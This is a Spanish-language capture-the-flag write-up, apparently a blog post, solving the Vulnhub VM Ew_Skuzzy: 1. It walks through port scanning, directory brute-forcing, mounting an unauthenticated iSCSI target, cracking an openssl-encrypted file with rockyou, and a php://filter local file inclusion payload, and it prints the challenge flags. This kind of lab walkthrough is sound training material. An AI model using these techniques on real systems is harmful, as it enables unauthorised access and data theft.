Ew_Skuzzy: 1 una VM de Vulnhub

    ______            _____ __                         __
   / ____/      __   / ___// /____  __________  __  __/ /
  / __/ | | /| / /   \__ \/ //_/ / / /_  /_  / / / / / /
 / /___ | |/ |/ /   ___/ / ,< / /_/ / / /_/ /_/ /_/ /_/
/_____/ |__/|__/   /____/_/|_|\__,_/ /___/___/\__, (_)
                                             /____/

Continuamos con Vulnhub para resolver esta VM. Según el autor es nivel intermedio así que vamos allá! Pueden descargarsela en este enlace: https://www.vulnhub.com/entry/ew_skuzzy-1,184/

[!] 01 – Enumeración

Ejecutamos Nmap para realizar un escaneo de puertos y servicios. Esta herramienta detecta hosts conectados en una determinada red, sus puertos abiertos, servicios, sistema operativo etc… Es una tool de gran calidad para realizar auditorias de redes. Vemos el puerto 22, 80 y el 3260 disponibles.

root@kali:~# nmap -A -sV 192.168.1.130

Starting Nmap 7.60 ( https://nmap.org ) at 2017-08-22 15:24 CEST
Nmap scan report for skuzzy.home (192.168.1.130)
Host is up (0.00044s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 89:c2:ae:12:d6:c5:19:4e:68:4a:28:e9:06:bd:9c:19 (RSA)
| 256 f0:0c:ae:37:10:d3:6d:a2:85:3a:77:04:06:94:f8:0a (ECDSA)
|_ 256 85:5b:49:17:05:a0:b8:4e:76:ce:b2:63:c6:21:36:e9 (EdDSA)
80/tcp open http nginx
|_http-server-header: nginx
|_http-title: Welcome!
3260/tcp open iscsi?
|_iscsi-info:
MAC Address: 08:00:27:60:88:83 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.44 ms skuzzy.home (192.168.1.130)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.24 seconds
[!] 02 – Aplicación web

Usamos dirb. Esta tool funciona mediante el lanzamiento de un ataque basado en diccionario contra un servidor web y analizar la respuesta. Tras localizar muchos enlances de los cuales aportando información bastante pobre por no decir nada, justo en el último enlace que nos encuentra dirb vemos una imagen.

root@kali:~# dirb http://192.168.1.130

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Tue Aug 22 15:17:51 2017
URL_BASE: http://192.168.1.130/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.130/ ----
+ http://192.168.1.130/index.html (CODE:200|SIZE:1297)
==> DIRECTORY: http://192.168.1.130/smblogin/

---- Entering directory: http://192.168.1.130/smblogin/ ----
==> DIRECTORY: http://192.168.1.130/smblogin/custom-log/ 

---- Entering directory: http://192.168.1.130/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/trap/affiliates/dba/program/font/ ----
+ http://192.168.1.130/smblogin/custom-log/refer/del/arquivos/_archive/autodeploy/Links/pdf/portals/images3/forgotpassword/tuscany/send-password/catalog/tell_friend/queues/month/checking/mode/trap/affiliates/dba/program/font/index.html (CODE:200|SIZE:527)

-----------------
END_TIME: Tue Aug 22 15:18:15 2017
DOWNLOADED: 119912 - FOUND: 3

Vemos una imagen algo Tr0ll, indagamos en el código fuente y vemos un base64.


<html>
<head>
<title>Hello...</title>
</head>
<body bgcolor="black">

<div style="width:500px; margin:0 auto;">
<img src="flags.jpg" />

<!--
SGVsbG8sIGlzIGl0IGZsYWdzIHlvdSdyZSBsb29raW5nIGZvcj8KSSBjYW4gc2VlIGl0IGluIHlv
dXIgZXllcwpJIGNhbiBzZWUgaXQgaW4geW91ciBzbWlsZQpGbGFncyBhcmUgYWxsIEkndmUgZXZl
ciB3YW50ZWQgYW5kIG15IHBvcnRzIGFyZSBvcGVuIHdpZGUgCkNhdXNlIHlvdSBrbm93IGp1c3Qg
d2hhdCB0byBzYXkgYW5kIHlvdSBrbm93IGp1c3Qgd2hhdCB0byBkbwpBbmQgSSB3YW50IHRvIHRl
bGwgeW91IHNvIG11Y2gsIG5vIGZsYWdzIGZvciB5b3UuLi4K
-->

</div>
</body>
</html>

Lo decodificamos usando la consola de Python.

>>> base64.b64decode("SGVsbG8sIGlzIGl0IGZsYWdzIHlvdSdyZSBsb29raW5nIGZvcj8KSSBjYW4gc2VlIGl0IGluIHlvdXIgZXllcwpJIGNhbiBzZWUgaXQgaW4geW91ciBzbWlsZQpGbGFncyBhcmUgYWxsIEkndmUgZXZlciB3YW50ZWQgYW5kIG15IHBvcnRzIGFyZSBvcGVuIHdpZGUgCkNhdXNlIHlvdSBrbm93IGp1c3Qgd2hhdCB0byBzYXkgYW5kIHlvdSBrbm93IGp1c3Qgd2hhdCB0byBkbwpBbmQgSSB3YW50IHRvIHRlbGwgeW91IHNvIG11Y2gsIG5vIGZsYWdzIGZvciB5b3UuLi4K")
"Hello, is it flags you're looking for?\nI can see it in your eyes\nI can see it in your smile\nFlags are all I've ever wanted and my ports are open wide \nCause you know just what to say and you know just what to do\nAnd I want to tell you so much, no flags for you...\n"
>>>

Y como dijimos anteriormente es Tr0ll. Busquemos en otro servicio.

[!] 03 – Explotando iSCSI

Ser capaz de conectarse a través de iSCSI(Internet Small Computer Systems Interface) debería permitirnos montar las unidades en nuestro sistema, y tener acceso completo al sistema de archivos. Google nos dice que iSCSI Initiator debe permitirnos ver y conectarnos al servicio iSCSI. Esto se instala como parte del paquete open-iscsi. https://help.ubuntu.com/lts/serverguide/iscsi-initiator.html

root@kali:~# apt-get install open-iscsi
root@kali:~# iscsiadm -m discovery -t st -p 192.168.1.130:3260
192.168.1.130:3260,1 iqn.2017-02.local.skuzzy:storage.sys0
root@kali:~# iscsiadm -m node --login
Logging in to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.1.130,3260] (multiple)
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.1.130,3260] successful.
root@kali:~# mkdir iscsi
root@kali:~# mount /dev/sdb iscsi/
root@kali:~# cd iscsi/
root@kali:~/iscsi# ls
bobsdisk.dsk  flag1.txt  lost+found
root@kali:~/iscsi# cat flag1.txt 
Congratulations! You've discovered the first flag!

flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd}

Let's see how you go with the next one...

Y obtuvimos la primera flag! Seguidamente vemos una imagen de disco y procedo a ver con el comando Strings si puedo localizar otra flag like a Sir.

root@kali:~/iscsi# strings bobsdisk.dsk | grep flag
/media/bobsdisk/flag2.txt
flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}
[!] 04 – Fuerza Bruta openssl

A sido Easy (Ya podían ser todas así..). Montamos la imagen de disco y vemos un .csv cifrado y un fichero con pistas. En este fichero podemos ver que menciona «supercalifragilisticoespialidoso», una alusión a rockyou (posiblemente rockyou.txt para fuerza bruta del passphrase) y opción de comando -md sha256 (estas son opciones de línea de comandos de openssl).

root@kali:~/iscsi# mkdir /media/bob
root@kali:~/iscsi# mount bobsdisk.dsk /media/bob -t ext2
root@kali:~/iscsi# cd /media/bob
root@kali:/media/bob# ls
lost+found ToAlice.csv.enc ToAlice.eml

Si vemos con file el tipo de fichero que es ToAlice.csv.enc:

root@kali:/media/bob# file ToAlice.csv.enc
ToAlice.csv.enc: openssl enc'd data with salted password

Indagando por el IoT, vi un programa para fuerza bruta salted openssl, así que me limite a descargarlo y usarlo https://github.com/glv2/bruteforce-salted-opensslY vuala! Obtuvimos la password. Dicha password estaba en el documento ToAlice.eml…pero bueno tampoco somos adivinos aunque podriamos haberla probado.

root@kali:~# apt-get install bruteforce-salted-openssl
root@kali:~# bruteforce-salted-openssl -t 6 -f /usr/share/wordlists/rockyou.txt -d sha256 /media/bob/ToAlice.csv.enc 
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 3475547
Tried passwords per second: 695109,400000
Last tried password: supercalifragilisticoespialidoso

Password candidate: supercalifragilisticoespialidoso

Probamos con la password, el cifrado indicado como pista y obtenemos la tercera flag!!

root@kali:~# openssl aes-256-cbc -d -md sha256 -in /media/bob/ToAlice.csv.enc -out /tmp/out.csv
enter aes-256-cbc decryption password:
root@kali:/tmp# cat out.csv 
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site! 
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?
[!] 05 – Explotando LFI con php://filter

En el out.csv además de obtener la flag, obtenemos lo que parece ser un sitio web que nunca hubiesemos capaces de saber «5560a1468022758dba5e92ac8f2353c0». Vemos el código fuente del mismo:

<html>
<head>
<title>Hackers! They're everywhere!</title>
</head>
<body bgcolor="black" text="#00ff00">
<center>
<marquee width="50%"><font face="arial, helvetica" size="20">HACKER DETECTED! HACKER DETECTED! HACKER DETECTED!</font></marquee>
<!-- 
Yeah, I'm bringing Marquee back, suckers!
Just not in Chrome. Thanks, Google. Firefox is still rocking the marquee tag Geocities style though! 
-->
<img src="hacker.jpg" />
</center>
</body>
</html>
<!-- 
R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJr
ZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZl
bGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBi
YWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApK
ZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56
YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAg
TmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25l
IGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVh
ZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2Vvcmdl
IENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK
-->

Otro base64, importamos base64 y lo decodificamos.

>>> import base64
>>> base64.b64decode("R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJrZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZlbGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBiYWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApKZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAgTmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25lIGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVhZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2VvcmdlIENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK")
"George Costanza: [Soup Nazi gives him a look] Medium turkey chili. \n[instantly moves to the cashier] \nJerry Seinfeld: Medium crab bisque. \nGeorge Costanza: [looks in his bag and notices no bread in it] I didn't get any bread. \nJerry Seinfeld: Just forget it. Let it go. \nGeorge Costanza: Um, excuse me, I - I think you forgot my bread. \nSoup Nazi: Bread, $2 extra. \nGeorge Costanza: $2? But everyone in front of me got free bread. \nSoup Nazi: You want bread? \nGeorge Costanza: Yes, please. \nSoup Nazi: $3! \nGeorge Costanza: What? \nSoup Nazi: NO FLAG FOR YOU\n"
>>>

Buscando en el otro sitio web «c2444910794e037ebd8aaf257178c90b», justo en el que dice que «no hace falta mirar aqui» vemos cosas interesantes, aunque las primeras son todas troll. El parámetro ?p parece ser vulnerable a un LFI. En el Feed Reader podríamos tener un RFI «http://192.168.1.130/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt». Siendo el parametro url un archivo remoto data.txt. Vamos a ver que contiene:

##text##
This is some example source data for my nice little feed reader. I have designed my own nice little format which will allow it to include dynamic content. Who needs consultants when it's this easy? :)

One of the best things is this will allow me to host my feed content to display on this page on an external server So flexible :D
##text##

##php##
print("See? This is totally dynamic, generated by PHP right in my own little tool. Hacker proof, too, because there is a secret key required!");
##php##

Ahora aprovechando el LFI, vamos a obtener el código fuente de las páginas(welcome.php,flag.php,party.php,reader.php) codificado en base64 usando php://filter. Además vemos que no usa las etiquetas convencionales de php, más información aquí https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

root@kali:/# curl http://192.168.1.130/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
<!DOCTYPE html>
<html>
<head>
<title>I think you're on the right track now!</title>
<style>
div.container {
width: 100%;
border: 1px solid gray;
}

header, footer {
padding: 1em;
color: white;
background-color: black;
clear: left;
text-align: center;
}

nav {
float: left;
max-width: 160px;
margin: 0;
padding: 1em;
}

nav ul {
list-style-type: none;
padding: 0;
}

nav ul a {
text-decoration: none;
}

article {
margin-left: 170px;
border-left: 1px solid gray;
padding: 1em;
overflow: hidden;
}
</style>
</head>
<body>

<div class="container">

<header>
<h1>My great web-app!</h1>
</header>

<nav>
<ul>
<li><a href="?p=welcome">Welcome</a></li>
<li><a href="?p=flag">Flag</a></li>
<li><a href="?p=party">Let's Party!</a></li>
<li><a href="?p=reader">Feed Reader</a></li>
</ul>
</nav>

<article>
PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==
</article>

<footer>Hack the Planet!</footer>

</div>

</body>
</html>

Decodificamos el base64 y obtendremos nuestra cuarta flag!:

root@kali:/# echo "PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==" | base64 -d
<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Flag</h1>
<p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
<img src="trollface.png" />
<?php
// Ok, ok. Here's your flag!
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
//
// Well done, you're doing great so far!
// Next step. SHELL!
//
//
// Oh. That flag above? You're gonna need it...
?>

Espero que haya podido se util la resolución de esta VM y pueda servir de Writeup por si alguien se anima a su resolución. En las siguiente entrada que publique será sobre Reversing, en concreto al lenguaje assembly.

Un saludo y hasta la próxima entrada.